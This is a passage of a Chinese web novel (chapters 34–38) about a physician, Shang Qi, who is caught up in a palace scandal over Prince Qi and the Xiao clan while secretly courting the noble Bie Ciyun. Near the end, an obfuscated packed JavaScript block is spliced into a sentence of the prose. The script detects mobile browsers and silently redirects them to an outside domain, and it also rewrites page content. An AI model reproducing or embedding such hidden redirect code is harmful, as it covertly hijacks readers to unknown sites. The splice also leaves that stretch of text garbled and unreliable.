像他这样的孩子还不少,若不是遇上尚柒,恐怕他还在他父亲安置他们的院子受兄弟姐妹的气。 逃出蔺家的地盘,叫蔺肃终于了喘息之地,现在看长安过来的调查蔺家的一茬接一茬,也知道他的这些兄弟姐妹多半是没活路了。 “蔺管事,咋脸色不好?是礼县出了什么问题?” “礼县没事。”归根结底,他已经脱离蔺家,东家也帮他把尾巴扫了个干净,现在这群打长安过来的探子,顶多查到蔺家的确有蔺肃这个人,但已经是个死人。 …… 齐王府。 “混账,究竟是谁将此事翻了出来。”齐王在府邸大发雷霆,显然上午收到消息他还不屑一股,下午就闹的满城皆知,不用动脑子也知道是冲他来的。 “殿下,如今事情已经闹大,想必陛下知道是迟早的事,与其让陛下召见,不若殿下先一步去认罪,将此事大事化小小事化了,想来陛下也不会重罚殿下。”死再多的平民,难道还要皇子以死谢罪吗? “父皇进来在为发兵突厥的事头疼,我这时候过去岂非是装在枪口上。” “殿下,这等小事就不要在意了,除非殿下现在就将五皇子的事揭发出来,不然陛下定然是要生气的。”谋士苦口婆心的劝告。 “眼下我的人还没从西南回来,空口无凭告诉父皇五皇子勾结边境企图谋反,不能取信父皇不说,还打草惊蛇。”齐王到底有点脑子,挡箭牌也要选牢靠的才有用,五皇子的事几个皇子心照不宣的私下里查,就是希望有铁证一下致老五于死地,而不是给老五断尾求生的机会。 “所以殿下更应该趁着事态还没有更严重之前,去向陛下认错,到时候陛下就算罚殿下禁足,也正好将五皇子的事推倒其他皇子身上,以免被陛下惦记上。” 揭穿五皇子勾结边军的事,不见得是美差。 “行了,我先去一趟萧家。”齐王和外家联系紧密,早年的伴读出自萧家,府里的家臣也多是萧家安排了,他和萧家已经是绑定关系,遇上这等事,萧家必不袖手旁观。 劝诫的谋士讪讪闭嘴,原本还想劝齐王不要在这个节骨眼上去萧家,毕竟皇帝对世家一向不喜,但他不过一介白身,在齐王心里哪有萧家重要,再开口说什么也不过是惹齐王厌烦。 想要在齐王身边待下去,适时闭嘴也是一门学问。 齐王匆匆坐上马车去了萧府,半点遮掩都没有,消息自然也原封原样的送到广运帝的案头。 近来广运帝脾气不大好,追其原由还是发兵突厥,此事暂时还没在朝廷上提过,广运帝只隐隐约约暗示过朝中几位心腹大臣,结果不如人意。 除了一两个原本就支持他出兵的大臣,其余人都借口国库没钱,国库有没有钱广运帝这个做皇帝的难道不清楚吗? 国库只要是要钱都是没有的,户部的帐也不能细查,真要是大规模盘查,朝廷上有一个算一个都跑不了。 广运帝没提国库钱的流向去了哪,就是给这些世家面子,同 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“尚兄倒是稳的住,打昨日起,长安里看热闹的人一波接一波,你却连门都不曾出。” “我的事已经完成,齐王最后能得到什么惩罚已经不是我能左右的事,继续掺和也没什么好处,自然要明哲保身。”尚柒深谙苟的道理,这时候冒头蹦跶岂非是给人当活靶子。 “有理,不过尚兄可能不知,这事不光牵扯到了齐王,还将齐王背后的萧氏一块落下了水,我看这次萧氏怕是要伤筋动骨了。”萧谢连家里虽有交情,但能看到对方吃瘪也是乐见的。 “萧氏。”尚柒低声道了一句,他可没想到还能牵扯到萧氏,尤其听谢琅这句伤筋动骨,说明这会萧氏在广运帝哪里还不能轻拿轻放。 尚柒不信广运帝会为了几个百姓对萧氏发难,恐怕背后还有什么事,仔细想想,多半是和广运帝想发兵突厥有关。 “既然牵扯到萧氏,事后可会对谢少爷你有影响?”真要叫广运帝发现谢琅是后面的推手,没准谢家也要牵扯其中。 “我办事你放心,必不会被人拿下把柄。”谢琅在长安经营这么多产业,也不是白做的,要说叫谢琅陷害齐王可能会被查出来,但他只是推波助澜散步一点消息,外人就是摸到可能跟他有关,也没有证据。 尚柒挑眉,果然合作的都不是傻子。 “齐王的事最多一旬就能有结果,这一旬时间尚兄都不打算出门吗?” “还有几个月就要科举了,这次来长安为了生意已经耽误了不少时间,我得抓紧时间温习,算是临时抱佛脚。”尚柒调侃自己,也向谢琅透露他要科举的事。 左右他当真娶别此云,以谢琅的聪明不会猜不出别此云就是有钱公子。 “尚兄来长安是参加科举的?”谢琅吃惊的打量尚柒,他可半点没看出来。 35.第 35 章 “在来长安之前我也没想到自己要参加科举。”尚柒毫不吝啬的表明自己原本只是来长安做生意的。 “看来是遇上什么事了,让我猜一猜?”谢琅半抬头,想了一会,“和有钱有关。” 尚柒微笑点点头。 “我就说当日有钱特意宴请你的举动奇怪,我与有钱也合作了几年,面也见过,只是他都不肯露出真容,他这人一向神秘,却愿意给我介绍你认识,原来还有这一桩事在。” 谢琅对有钱这人是很赞赏的,因为世家中的公子贵女虽也把持家中产业,却少有像有钱这样瞒着家里人干大事。 尤其是敢拿长安世家的把柄,威胁他们合作,最后还能全身而退,若非是有钱性别不对,谢琅几乎要引以为知己。 当然了,没能成为知己也是有钱不愿意,但谢琅单方面是认了有钱这个朋友,这会子遇上有钱的八卦,谢琅更是来了兴趣。 “是我有意求娶,但想要名正言顺,总归要在身份上相配。”尚柒道的是深情。 “有这份心总是好的,不过今年长安参加科举的人不少,尚兄可是有不少对手在。”别的不说,蒲州柳氏的少爷就是强劲的对手。 “尽力而为。”尚柒也不是说非要拔得头筹,毕竟文采这东西,他自认为不是很多,诗赋能靠老祖宗走捷径,帖经能够死记硬背,策问无论如何都得自己来。 加上他也没有什么背景,想要中榜都得别景季暗中使力。 科举的事,谢琅插不上手,除非他要求家里帮忙,但谢家子弟众多,不少人也都想做官,没有帮外人的道理。 除非这外人对谢家有恩。 “听有钱说,尚兄医术不错。”谢琅有心想帮忙,只能另辟蹊径。 “尚可,但长安名医众多,宫中的太医医术更是家传,很难说比的过。” ‘很难说比得过’这话就有说法了,从谢琅和尚柒接触的情况来看,尚柒绝对不是恃才傲物之人,甚至有些谦逊过头。 能够让尚柒说出这样的话,说明人对自己医术很有自信。 “我家中有一位长辈患有顽疾,一直得宫里太医照料,但也拖延着不见好,我作为小辈自然心疼,今日得尚兄一句话,能否请尚兄帮忙看诊,自然耽误尚兄温习的时间,谢家也会做出相应的补偿。” “能先说说是什么病吗?有些病无法根治,尤其是上了年纪的人,许多老年病都只能用治标不治本的办法温养。”尚柒也不是华佗,能治的病不少,但更多的是不能治的病。 “虽然说是长辈,其实也只比我年长十岁有余,要说这病,尚兄也该是听过,相思之症。”谢琅说这话的时候也颇有些不好意思,因为男子一般少有得相思之症的。 “相思病?”尚柒疑惑的问了一句。 “不错,整日郁郁寡欢,人也懒散的很,吃了许多药也不见好,反倒是更严重起来。” “只听谢少爷你说的病症,倒不像是相思病,更像是郁症。”古人相思成疾也不是假话,许多郁郁而终的人多半都是得了抑郁症走的,世家中多是后宅娘子郎君易得,男子么,倒也不是说没有,而是罕见。 “太医也这么说过,不过病因还是因相思而起。”谢琅听见尚柒凭借三言两语就判断出病症,对尚柒的医术倒是更肯定了。 “相思之人是谁?”这病尚柒能开药,但解不开心结,吃再多药也没用。 “不知。”谢琅摇头,若是知道相思之人是谁,他爹和他爷爷早给人带回来了,便是身份不足以进世家的门第,养在院子能讨小叔欢心,也不算什么。 偏偏小叔是个闷嘴葫芦,问什么都不说。 “……”尚柒沉默了。 “尚兄也不能治吗?”谢琅倒没有很失望,宫中太医都束手无策,尚柒这样年轻,能随便治太医都治不好的病症,未免太妖孽了些。 “如果只是开药,见过人我的确能写药方,但想来治病的大夫也说过,心病还须心药医,我开再多的药不能解开病人的心结,也不过是白费工夫。” “我明白了。” —————————— 梧桐苑。 “听闻萧家主脉进去了几位少爷,看大理寺和刑部的意思,若萧氏不肯服软,这几位少爷就是替齐王赴死的挡箭牌了。”尚柒这几日宅在家中,等大理寺刑部那边行动之后,顶风作案又趁夜来了别府。 “萧氏若服软,谢柳这等世家先不提,依附萧氏的世家,恐怕也要跟着服软。”别此云手里捏着棋子,正和尚柒下五子棋玩。 “你觉得萧氏会服软吗?”尚柒边说边看自己被堵死了的棋子,又开始寻新的出路。 “这得看萧家这几位少爷得不得宠。”嫡系的少爷个个都花大价钱培养的,若真有麒麟之才,萧家哪里会吝啬这点钱财。 “听你的话,萧氏不肯服软?” “多半不会,世家一惯和皇权对这干,前几朝被打压下去的气焰到了本朝燃的更旺,广运帝大抵也不会当真逼得世家鱼死网破。” 只牺牲几个对家族影响不大的子弟,于萧氏这样的大世家而言不算什么,但真向广运帝低头,萧氏才会叫人看不起。 “齐王呢?可有什么说法?” “萧氏不低头,定会惹恼广运帝,萧氏子弟多半活不了,齐王么,肯定禁足罚俸,再免官几月以儆效尤。”不废王位,已经算不错的惩罚了。 “若五皇子事发,广运帝明白自家的麻烦都应接不暇暂缓出兵,萧氏便算赔了夫人又折兵,恐怕会对广运帝不满。” “不满他们也不敢真的撺掇齐王谋反,京中禁军不听萧氏的话,想要发动政变,太子来试试还成。”最后多半是哑巴吃黄连有苦说不出。 “别家没让太子用用铤而走险的办法?”太子的位置坐的也不牢,底下的弟弟们三天两头找麻烦不说,当爹的也不给人清净。 “太子肯定想,但他已经是太子,没必要冒这个风险,除非太子的位置被威胁,破釜沉舟的情况下可以试试。”别家求稳,太子倒也能听得进去几分他阿翁的话。 “这几只股都前途有限,也是难为你们被迫下注。” “没 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“诗词我都还记得不少,但现在不是献诗的时机。”要么等齐王事了,要么等五皇子事了。 “早些拿到资格更放心些,谢家有什么说法?” “谢琅有提让我去给他小叔瞧病,但郁症我没什么把握。”他一个半吊子中医,能把寻常病症和一些罕见病症治好都是学的勤勉,跨度到心理乃至精神方面,实在是难为他了。 “郁症?却是不曾听过谢家子弟有得这个病的,谢家不行就换个中间人。” “我在寻更合适的人选。”尚柒揉了揉眉心,“再过几日,我的商队应该就要到长安了,这次除了药材,还有许多药丸,可以用这个打开门路。” “你不是不想把真正救命的药放在明面上卖?”他可是知道尚柒有多怕世家盯上他,打他的主意。 “我都要科举了,世家盯上我是早晚的事,只要在他们行动前告诉他们我有靠山,想必他们也不会轻易得罪另一个世家。” 再说,像神仙丸尚柒可没打算卖。 “我兄长那边” “这得让你兄长知道你对我有相思之意。”不然他上赶着表现,别景季头一个就会收拾他。 别此云轻笑一声:“你想我怎么表现?茶不思饭不想,还是说赠君红豆以寄相思?” “不必太明显,我先前不是同你兄长提过,我与你有约,咱们夜夜相会也不是办法,什么时候你再请我登门拜访?” “那我得再病一病。”不然可没什么正当理由让别此云请尚柒过来。 “这个不成,最多装病,不可再伤身,你自己的身体底子你也应该清楚,养了这么多年才好一点,再糟蹋你当了皇帝也没命享受。” “我可没说我要当皇帝。”别此云只想没有拘束的过日子,当皇帝是天底下最自在的人,也是天底下最拘束的人。 “这个咱们先不提,答应我,不可在胡乱伤身。”尚柒难得语气严厉。 “……知道了。” 36.第 36 章 有皇帝亲自施压,大理寺和刑部办案再没有拖延的,萧氏子弟下狱,萧氏却隐忍不发,势必要和广运帝斗到底,叫广运帝大为恼怒,当即下令要重惩给百姓一个交代。 满朝文武也只这时候说什么都是触广运帝的霉头,一个个装聋作哑由得广运帝处决了几个萧氏子弟,连带着齐王也没好下场,被广运帝责骂一顿,又罢了齐王头上的官职,叫人在王府闭门思过。 萧氏一时也沉寂下去,但有眼睛都看得出萧氏和广运帝之间的梁子结大了,只是眼下没有什么导火索,两方各自压下怒气只待以后。 “阿兄,坏人都被惩罚了,你怎么还不高兴?”尚乌桕也或多或少听了这一桩齐王案,对齐王的观感极差,在礼县调戏娘子郎君都是要被官差抓去蹲大牢的。 没成想在长安,害死了这么多人命的罪魁祸首只是被关了禁闭,王府何等的大,正在王府禁足日子也不会过的差哪儿去。 至于被下令处决的世家子弟,尚乌桕也觉得罪有应得,人以群分,能够和齐王玩到一块去的人,手里怕也没少沾人命,死了也当是大快人心。 “是啊,不管惩罚轻重坏人都受到了惩罚。”尚柒嘴上说着坏人受到惩罚,表情却更加复杂,“只是,乌桕你有没有想过,齐王后院是否还有被强抢的姑娘哥儿?” “什么?”尚乌桕惊呼出声,“案子不是大理寺和刑部审的么,怎么还有人在齐王府邸没有出来。” “因为这件案子最要紧不是这些毫无身份的苦命人,就连我,起初也不过是想借这件事给齐王一个教训。”,是的,这是他没想到的,案子已经闹的这么大,最后连世家的人都死了,却没人提过齐王府邸可能还有活着的姑娘哥儿没有放出来。 “那怎么办?阿兄齐王这样坏,那些被抢进齐王府的姑娘哥儿肯定没有活路,我们,我们能想办法救救她们吗?”尚乌桕慌了神,但也知道这个要求强人所难。 齐王府住的皇子,简单点说是天潢贵胄,日后有机会坐上万人之上的位置,王府的守卫必然不会像别府一样,能够让阿兄来去自如。 就是阿兄当真能混到齐王府,难道还能带一群活人出王府吗? “抱歉。”尚柒无能为力,至少眼前的尚柒没有本事救人,或许也来不及救人,按照齐王的性格,只怕事发之际已经做好处理后患的决定。 尚乌桕愣在原地,他在长平村被保护的很好,日子过得很自在,礼县县衙的官吏也跟阿兄交好,一个个都是刚正不阿的好官,到了长安,虽然听阿兄说过长安权贵以势压人,但他也觉得皇帝跟前,再仗势欺人也该有所收敛,今日之事实在打击到了他。 “阿兄,长安一点也不好玩。” 尚柒拍拍小孩的肩膀,看向窗外,是啊,谁都不曾细想过,无数金银财宝堆砌的天下雄城,地底埋的都是找不到家的孤魂野鬼。 “等下次我们再来长安,我会试着改变它。”尚柒轻声许诺。 …… “公子,尸体要送还给她们的家人吗?”书墨身后是整齐搭着白布的担架,里面的尸骸都是他们费心费力跟踪齐王府的人寻到的。 因为齐王府往常将尸骸扔进乱葬岗惹出了麻烦,这些才从齐王府送出来的尸体,都被下了令,必须藏好。 别此云盯着白布,摇头:“齐王的事在皇帝面前已经过去了,就算有新的尸体出现,也不会再起什么波澜,此刻送还尸身,只能让苦主走投无路,没有其他作用。” “公子这样说也有道理,那我着人埋在城郊。” “嗯,埋下的地点记下,或许等日后有机会再告诉她们的家人。” “是。”书墨挥手叫人退下,留下别此云一个人在外宅坐着。 这样的事他见过很多,世家和皇族表面光鲜,内里一个比一个肮脏,但不得不说天下财富权利九成都被他们牢牢掌握。 想要撬翻,别此云一个人的力量还不够大。 —————————— 夜半,西南通往长安的官道少有人影,但近几日官道上一些百姓开的野店偶尔能够听到快马疾驰的动静。 也不知是什么重要的事,竟需要日夜兼程赶路。 这些快马加鞭往长安去的自然是西南探查消息的探子,收到消息的皇子们算是各施手段,遣人到西南走一遭,调查蔺家私生子一事,这些人在边境停留的时间并不长,不是说他们本事不佳,没能打探出什么消息。 反而是短短几日功夫,几乎将蔺家和西南将军勾结的事摸了个清楚,蔺家行事并不张扬,可这些没上蔺家族谱的私生子们一个个行事嚣张跋扈,要抓他们的小辫子实在简单。 若非是怕打草惊蛇,被西南将军察觉有人在查此事,某些探子真想直接找上这些少爷们,想必细皮嫩肉的少爷扛不住几鞭子就能吐露的一干二净。 再查清蔺家的确将嫡系的私生女嫁给西南将军,探子们纷纷离开西南,回长安汇报。 而尚家的车队早踏上从礼县去长安的路,都走官道,说不得路上还遇到过这些探子。 “夏日实在是热,接连走两趟长安,要不是东家厚道,我真想在家歇息。”商队的汉子们并不缺钱,尚家护送药材的任务极多,一年赶着跑几趟都够一家子生活。 但人呐,就是贪心,起先只想吃饱饭,后头就想穿好衣,再盖一间瓦房遮风避雨。 有了孩子,又要为孩子考虑,东家仁善,建了学堂叫孩子们免费认字,虽不必教束脩,但笔墨纸砚总是要钱的。 礼县是西南远近闻名的穷县,从前人哪儿能想到家里的野孩子也念上书,这会好不容易得了这个机会,万没有推迟的。 再有一个,礼县的笔墨纸砚卖的不贵,寻常百姓只要不偷懒,都能供应的上,商队的汉子收入更是高出不少,只是大部分商队的汉子都想着在县里安家,要在县里置办一套像样的宅子早不如几年前便宜。 外县来 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“怎么说话呢,我说的话都是真心实意的,难得你们就不拍东家马屁了,在东家跟前一个个都谄媚的厉害,这会子倒是装的老实。” “好小子,谄媚都会用了,书没少读啊。” 提起读书,商队的汉子一个比一个头疼,他们也就是个护镖的,只管把东西送到不就好了,怎么还要读书认字。 早十几年,年岁还小的时候有些人还能有点心气念书,这会子商队最大的汉子都四十好几了,学认字有什么用。 也就是东家自己是个读书人,喜欢用读书人。 “好了,离长安也没几日路了,加紧点时间,送完药材好早些回礼县。” 有领头的汉子发话,其余人都正经起来,抓紧时间赶路,完全没有在意路上遇见的几波快马加鞭的同行人。 …… “好一个老五,我以为诸位兄弟里,就他最老实,谁想不争不抢的那个反而是最有野心的,我差点被骗了去。”平王一拍木桌,气的在原地走了好几个来回,“我们的人有没有被发现?” 平王行四,封地在西南,他想着西南偏僻,偷偷摸摸干些事能够瞒住父皇,却不想西南不知他一家在搞事。 “西南边军镇守边境,没有圣旨不得擅离,殿下只管放心。” “我原本是放心的,谁能想到西南还藏了一直猛虎,若是我没收到消息,说不得我的人都被猛虎当猎物吃了还不知道是谁干的。”平王想想自己的私兵,“叫封地行事再谨慎些,老五的事真的被掀出来,父皇肯定会对我们几个也起疑心,万不能叫人发现了去。” “殿下说的是,我这就去信西南,叫他们的动作再少些,五皇子事发期间,暂且关闭营地往来。” “去吧。”平王说着冷哼一声,父皇老了,说不得那天就驾鹤西去,老五的事可拖延不得。 37.第 37 章 别府。 张青浣正在镜前梳妆,今日休沐,夫君不必去上衙,两人约着出门走一走,两个小的去了祖母那里,做爹娘的也难得歇歇。 “怎么去给娘请安回来一副丧相,叫爹娘看见,少不得要被数落。”张青浣插好最后一根簪子,理了理衣裳。 “方才我去娘院子的时候,听到小弟身边琴砚说小弟又病了。”别景季知道此云身体打小就不好,请了不少大夫道士,最后狠心送去道观养着才养住了。 张青浣瞥了一眼身边伺候的人,侍人就懂事的退出去。 “你呀,真是个榆木脑子。” “夫人,这是哪里话?”别景季虽不认为自己才能举世无双,但在长安,也有一定名声,如何能被称作榆木。 “此云自回到家中,也不过病了一回,虽是真病,但我瞧着是为了敷衍我,不愿意去宴上相看。” “可自上次宴会过后,娘不是暂时打消了带此云继续相看的念头吗?”长安城里的儿郎不少,但真要找个家世不错,品行良好的子弟,就要慢慢寻摸。 苏怡然把主意打到柳确身上,不就是看长安的儿郎配不上自家哥儿,不得已挑的。 “你瞧我话说的这样明白,你还不懂,不是榆木是什么?”张青浣从梳妆台前起身,走到别景季跟前,小声道,“生病自然是要看大夫的,上次此云病了,府医看过也没治好,这次病了,只怕府医都不见得能跑一趟。” “你是说,此云是为了见尚大夫故意装病?”别景季总算是反应过来,非是他迟钝,起先他对尚柒也是严防死守,害怕两人当真互生情愫,可几次和尚柒见面,又觉得尚柒坦荡,似乎并无求凰之意,便放下了。 若他没记错,他们二人应该也只见过两面,怎么就让此云惦记上了。 “莫说两面,真要有缘,只见一面就干柴烈火的也不是没有,再有,你什么时候见过此云给过外人好脸色,莫说男子,就是满长安的姑娘哥儿也没谁在他那儿讨过好,偏只见了尚大夫一面,就请人上门看病。” 尚柒医术好,是别景季通过西南的朋友打听出来的,别此云一个没有门路的哥儿如何就晓得尚柒医术好了?还敢将人请上门看病,若不是被夫君撞见,这事指不定要瞒多久。 “你说的也有道理,可我看尚大夫对此云并无意,再有他们二人身份悬殊,如何使得。”世家就是和寒门联姻,这寒门也得有官位在身才是,哪有世家把公子贵女嫁给寒门白身的。 “夫君,你自幼和此云一起长大,虽然此云常年在道观,但也比我这个进门的嫂子更清楚此云的性子。 若此云当真看上尚大夫,家里不允,他虽做不出私奔的行径,却也绝计不会再另嫁他人。” 别景季一事愣在原地,是了,打小此云主意就大,哪怕年纪小离家在道观,也从不曾叫家里人操心。 “此事还没有定数,你先别急着下结论。”别景季低声嘱咐,此事他这个做兄长的知道了不算什么,可要是家里其他人知道,就容易闹出事端。 “我自然是不会告诉外人,但你这个做兄长的也要多考虑考虑,若真如我所想,你我是要棒打鸳鸯,还是促成良缘?”张青浣是嫁进别的娘子,名义上虽然是别此云的嫂子,但到底隔着一层,怎么做最后都要落下埋怨,不若指望自家夫君拿个主意。 别景季听到夫人说良缘二字,心头一梗:“如何就是良缘了?” “你招待尚大夫的时候,我又不是不在,尚大夫本事如何我难道还不清楚,若是尚大夫托生在长安任何一个世家里,只怕上门说亲的人都要踩踏门栏了,不论身世,我自认为二人是相配的。” 世家出身的公子贵女,打小要学的就有如何看人,张青浣和尚柒相处,只见人待人处物事什么样,就能把人的性子摸得七七八八。 “……”别景季自然知道尚柒的本事,光从人谈吐就能感觉到尚大夫胸有沟壑,腹有诗书,相貌也是一等一的出色,这样的儿郎略有些上进心,就能俘获天下间大半姑娘哥儿的芳心。 “门第之事算不上什么,你先前不是也说过,尚大夫谈吐风雅,若是愿意科考,必然榜上有名,只要有官身,一切都好说。 现在最要紧的,还是弄清楚此云是不是对尚大夫有意,而尚大夫是否也对此云有意。” 若二人真是情投意合,他们想法子撮合自然皆大欢喜,若只是此云一厢情愿事情就难办了,总不能摁着尚大夫科举成亲,这哪里是结亲,结仇还差不多。 “明日尚大夫要到府上给你勘脉,到时候我细细打探打探,至于此云那边……” 别景季一向是撬不开小弟的嘴,指望夫人也是不成的,至少此云不想开口,就是娘来了也枉然。 “你不必费心思,今日咱们也不出府了,你且看着,不过午时尚大夫必定登门为此云看病。”既然尚大夫今日来,他也懒得叫尚大夫再跑一趟。 别景季还要再说什么,就见门外的侍人匆匆忙忙跑来,低声同夫人说了几句什么话。 “尚大夫来了,不巧被娘瞧见,该咱们登场去解围了。”张青浣一副得胜的表情,叫别景季一时哭笑不得,不管小弟和尚大夫情况究竟如何,此时的确不该叫娘晓得。 到底尚大夫对他们有治病的恩情,便是棒打鸳鸯他出面肯定比娘出面合适。 …… 苏怡然听闻此云又病了,趁着上午得空便来了梧桐苑,打此云长大后,除了一月一次的平安脉,已经少有生病的时候,先头病好了才多久又病了,如何不叫人忧心。 哪想她刚到梧桐苑门口就遇上一位不相识的男子过来,瞧着也是要进梧桐苑里,带路的是侧门看守的门房。 若非知道光天化日,又在别府,自家哥儿又绝计不会是行苟且之事的人,她都要以为眼前的男子是自家哥儿准备私会的情郎。 好在忍住胡思乱想先问了一句,方才晓得是请来看病的大夫。 要说家里府医日日都在,府医看不了的病递牌子请太医对别家来说也不是难事,怎么突然请一个皮相好的年轻大夫过来。 外人一眼看了去,谁能看出眼前还未及冠的儿郎是个大夫? “苏夫人,我是给府上少夫人看病的大夫,今日本来是要给少夫人再请脉的,不过听闻别公子又病了,就特意过 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奈何苏怡然先一步进屋,只见自家哥儿面色苍白的厉害,哪里舍得叫人起来折腾。 如此,尚柒达成当着别此云娘亲兄长嫂嫂的面进寝房的成就,要说这寝房尚柒也不是头一次来了,但在此前无论是白日还是夜里都不正规,今儿正大光明走进来反而有些不适应。 “此云,尚大夫来看诊了。”张青浣走上前,看似说了句废话,实则提醒别此云,只当尚大夫是他们夫妻二人请来的。 无论如何,这时候不能叫娘知道尚大夫和别此云私下有交情。 “有劳嫂嫂费心。”别此云病恹恹的模样依旧好看的惊人,毕竟病弱西子的杀伤力谁看谁知道,但尚柒身为大夫,就不一样了,若非是尚柒一向情绪稳定,少有动怒的时候,这会指不定要责骂别此云不爱惜身体。 明明之前说好不许再用伤身的办法,可见人面色苍白,必然是真病了。 两人对上视线,别此云非但不心虚,还敢趁着苏怡然不注意,俏皮的跟尚柒眨眼,叫尚柒胸口堵了一口气,憋闷的坐在侍人搬来的板凳上,给别此云把脉。 这人如此不爱惜身体,这次必然要给他开的药里多加几味黄——嗯? 尚柒眼神一滞,别此云脉搏虽然不如常人强健有力,却也没看出其他病症,那这苍白憔悴的面色是擦脂抹粉了不成? 大历的胭脂已经能做出这样以假乱真的效果了? “尚大夫,小弟的病如何了?”别景季见尚柒把脉久久不出声,还以为小弟当真病的厉害。 “只是普通的风寒,想来是今日夜里下雨一时贪了凉,只吃一副药调养就是。”尚柒面色不变的撒谎。 “只治风寒?”别景季是信得过尚柒的医术,为此方才说要给别此云调养身体也不是假话。 “别公子身体已经比小时候强健一些,虽然还是赶不上常人,但也不建议药补,是药三分毒,真要想调理身体,不如用食补代替。”尚柒慢条斯理的说着,余光瞧着别此云满目含笑,就知这人在看戏。 38.第 38 章 “未曾想尚大夫对饮食一道也有涉略,若只用饮食填补,自然是再好不过。” “不过是做大夫的基本功。”自然这个大夫不是指本朝的大夫,大历民间大夫也不乏有高手,但更多的还是些半瓶醋郎中,“药方等我看过少夫人的脉后,再一块些,不知少夫人是准备在别公子的院里看诊,还是回暮云堂?” 苏怡然在这里,尚柒便知此地不宜久留,而别景季夫妻显然也是这么想的,尚柒这头刚话刚出口,别景季就着人领着尚柒和张青浣先一步回暮云堂,留他在梧桐苑和娘解释。 等人一走,苏怡然也不客气的出门,此云还病着自然不能在他跟前发作,扰了清净。 “我尚且不知别家还请不来一个医术高明的大夫,反叫一个不知根底的外男进里弟弟院子看诊。”显然苏怡然也认为大夫是别景季夫妻二人请来的。 “娘,尚大夫是西南名医,但凡在西南有跟脚的人家没有不认识尚大夫的,青浣的病宫中太医都束手无策,尚大夫一来,不过吃了几副药,已然好了不少。 我和青浣是此云的兄嫂,哪里有害此云的心思。” 别景季好言解释,但心里在想什么外人可就看不出来了。 “那也不该叫人到此云的院子离开,若叫外人知道该如何是好?”苏怡然不知这位西南名医是否名副其实,就当此人医术高明,但瞧人模样好,年纪轻,还往小哥儿的寝房去,怎么会不叫人多想。 “府里都是自家人,如何能传到外面去?”别景季硬着头皮解释,“娘可能不知道,上次此云病了,府医开了药一直不见效,当时宫里咱们相熟的太医又忙,亏得尚大夫看诊,不过三两日此云就病好了。 这次此云又病了,我想着不若直接请尚大夫过来,也免了此云多喝一剂药还不见好。” “这位尚大夫来过梧桐苑给此云看诊?”苏怡然眯着眼睛,抓住别景季言辞中的重点。 “不错,不过上次是我看着在书房看的诊,这回此云病的不能起身,我和青浣又一时在院里被绊住了,才晚来一步。”别景季替弟弟背了这么大一个黑锅,差点要在亲娘锐利的视线中喘不过气。 “我不管那位尚大夫本事究竟如何,日后不许再让他去梧桐苑。”苏怡然说话的声音带了几分严肃,可见是气的不轻。 “是。”别景季应下,不过他也觉得娘是关心则乱,若真见识过尚大夫医术的厉害,想来也是不会轻易得罪一位能救命的大夫。 暮云堂里。 张青浣招待尚柒,话语里明里暗里的打听尚柒怎么去了梧桐苑,企图发现尚柒是否对此云也有意思。 “先前收到请帖,是别府送来的,我以为明日别少爷和少夫人不得空,将诊脉的时间提前了一日,便一早过来了,到了门口听门房说别公子又病了,想要请我过去看诊,不料碰上了府里的夫人,不知是否犯了什么忌讳?” 尚柒打赌苏怡然是别此云故意叫来的,不然以别此云对别府的掌控,他们绝计撞不到一块。 就是不知别此云是打的什么主意,难不成先要他在苏夫人跟前混个脸熟,日后求亲会更顺利一点? “尚大夫说笑了,府里哪有那么多规矩,只是此云到底是哥儿,娘瞧见尚大夫过去,总归有那么几分不放心。” “原来如此,但比起名声,还是身体更重要。”人活着才是自己的,人死了赚来好名声又有什么用? “尚大夫是大夫,自然是觉得身体更重要。” “可我也同少夫人独处一室,难道少夫人就不担心名声问题吗?”尚柒这个问题可算是绝杀,叫张青浣一时间都没反应过来。 其实无论尚柒什么时候来看诊,都是有别景季作陪的,今日别景季被绊在了梧桐苑,独她在暮云堂,自然也不和规矩。 “时候不早,我还是先给少夫人勘脉。”尚柒揭过方才的话题,他少有展示自己尖锐的一面,但想想别此云自幼生长在这样的规矩下,难怪一年到头更喜欢在道观呆着。 “劳尚大夫费心了。”张青浣伸出手,还在想尚柒方才说的话,但很快院里想起脚步声,是匆匆从梧桐苑赶回来的别景季。 这次勘脉不过是几剂药服用完,看是否要调整之前的药方,也不费什么功夫,尚柒删减了其中两味药,又给别此云开了个温养的药方,既不伤身也不会叫外人看出药方有什么不对,至于喝不喝就是别此云的事了。 开完药方,别景季送干脆利落离开的尚柒出府后,忧心忡忡的回到暮云堂。 “此云似乎的确倾心尚大夫。” “那夫君的意思?”张青浣早看出来别此云对尚柒态度不简单,因此听别景季这么说,半点不觉惊讶。 “尚大夫这头我没瞧出对此云有意。”若真是一挑子热,不若快刀斩乱麻,断了此云的念想。 “夫君这可想错了,我看尚大夫也并非流水无意。”张青浣把方才尚大夫刺了她的话给别景季说了。 “如此也不见的尚大夫倾心此云。”不过一句打抱不平的话罢了。 “许是不到倾心的程度,但尚大夫必定对此云有好感,或许本人还不知情,这时候要二人断了是最好的,再叫两人接触下去,必然要生出感情。”张青浣到底已经身为人母,对这些情情爱爱之事了如指掌,要她说最好是断了,不然日后被娘知道了,准没有好果子吃。 “断要如何断?此云虽然在家里少有出门的时候,但尚大夫隔一段时日就要给你看诊,此云要有心总能想法子过来。”更不说私下里此云可能出门见尚大夫。 这么说也的确是个麻烦,若别家不曾有求于尚柒,只管警告尚柒就是,真要发现尚柒和别此云往来,也能寻到借口处理了尚柒。 但眼下尚柒是他们夫妻二人的座上宾,莫说有恩于他们,单单是别景季和尚柒来往愉快,已经当尚柒是半个朋友,哪里能用暴力手段。 此事难办。 …… “你可没说我过来还要见你娘。”尚柒幽幽的向别此云诉说不满,若非是他心脏强大,当即就要被吓个六神无主。 “总是要你在我娘那里挂个名头,知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492890|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道有你这个人,将咱们之间的关系梳理的有迹可循,才好取信于人。” “第一印象很重要,这会我估计没在你娘那里留下好印象。”尚柒叹气。 “暂时的,之后一段时日,你要忙起来了,只怕长安城里但凡有个小病小痛的娘子郎君都要寻你去看诊。” 